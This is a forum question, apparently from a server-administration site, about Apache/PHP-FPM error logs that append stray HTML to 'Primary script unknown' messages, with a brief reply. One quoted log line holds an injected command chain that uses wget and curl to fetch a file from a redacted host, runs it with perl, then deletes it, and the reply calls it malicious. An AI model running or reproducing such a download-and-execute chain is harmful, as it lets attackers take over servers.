I am using Apache with PHP-FPM on my web server. When user enters some random pathname that Apache passes to proxy-fcgi and the file could not be found, there will be a standard error recorded in the error log:
AH01071: Got error 'Primary script unknown\n'
However, on certain occasions, I get a chunk of HTML from a random page of my website, like so:
AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na.....
and so:
AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td....
I got really worried, when I saw something like this today:
AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de....
Which I think is a cookie value interspersed within the random HTML chunk. Has anyone experienced this phenomenon? Can something be done to stop the random HTML and cookie from being appended to the error message?
curl
and subsequentperl
invocation are not something you recognise as your own code, I would definitely worry, this looks malicious to me.